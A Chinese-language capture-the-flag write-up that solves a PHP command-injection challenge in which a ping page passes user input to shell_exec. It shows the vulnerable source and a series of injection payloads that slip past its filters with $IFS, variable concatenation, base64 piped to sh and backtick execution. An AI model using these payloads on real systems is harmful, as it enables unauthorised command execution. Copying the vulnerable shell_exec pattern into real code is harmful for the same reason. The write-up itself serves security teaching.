目录
题目:?
分析:?
方法:
方法1:
方法2:
方法3:
题目:
?提示get传入一个ip的值,猜测是exec函数执行一个外部程序。
分析:?
使用;同时执行前面和后面的命令
相关知识点
payload:?ip=127.0.0.1;ls
发现flag
payload:?ip=127.0.0.1;tac flag.php
?
通过测试发现,过滤了空格、<、>、{、}、flag、*、?、'、"、)、[、]、/等
在linux 空格可以用以下字符串代替:
%09(tab)、$IFS$9(9可以换成1-9中间的数字,$0是返回当前的shell类型,所以不能用)、 ${IFS}、< 、<>、%20(space)等
//<>需要写的权限
?
payload:?ip=127.0.0.1;tac$IFS$9f\l\a\g.php
发现对于flag的过滤使用的是f.*l.*a.*g
?.*表示匹配除换行符 \n 之外的任何单字符0次或多次
?
所以没找到源码之前都不知道如何过滤的,所以先查看源码试试
payload:?ip=127.0.0.1;cat$IFS$9index.php
源码:
打开发现开头不对劲,不是正常的php代码格式,查看源代码发现前面被注释了
/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
方法:
方法1:
变量拼接字符串
shell可以使用变量来拼接字符串,当做命令来使用,shell类型不一样可能会有些不同。一般用的是bash?
?
payload:?ip=127.0.0.1;b=ag.php;a=fl;tac$IFS$9$a$b
?
方法2:
//使用管道符
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
然后查看源代码
sh是bash的缩减版本,但大多数命令都是一样的,这里的sh本来为bash,但bash被过滤我们就用sh。
|是管道符,意思为把|前的语句执行结果作为|后面的输入数据。Y2F0IGZsYWcucGhw经过base64解码后就是cat flag.php。base64$IFS$1-d就是base64 -d,-d就是-decode解码。 整句内容:?ip=127.0.0.1;echo Y2F0IGZsYWcucGhw|base64 -d|sh =》?ip=127.0.0.1;echo cat flag.php|sh =》?ip=127.0.0.1;cat flag.php
?
方法3:
?内联执行:
反引号在linux中作为内联执行,内联,就是将反引号内命令的输出作为输入执行
payload:?ip=127.0.0.1;cat$IFS$9`ls`
//
``能当做system一样执行ls命令,ls的结果为flag.php和index.php
所以意思为:
?ip=127.0.0.1;cat flag.php index.php
然后查看源代码
?
|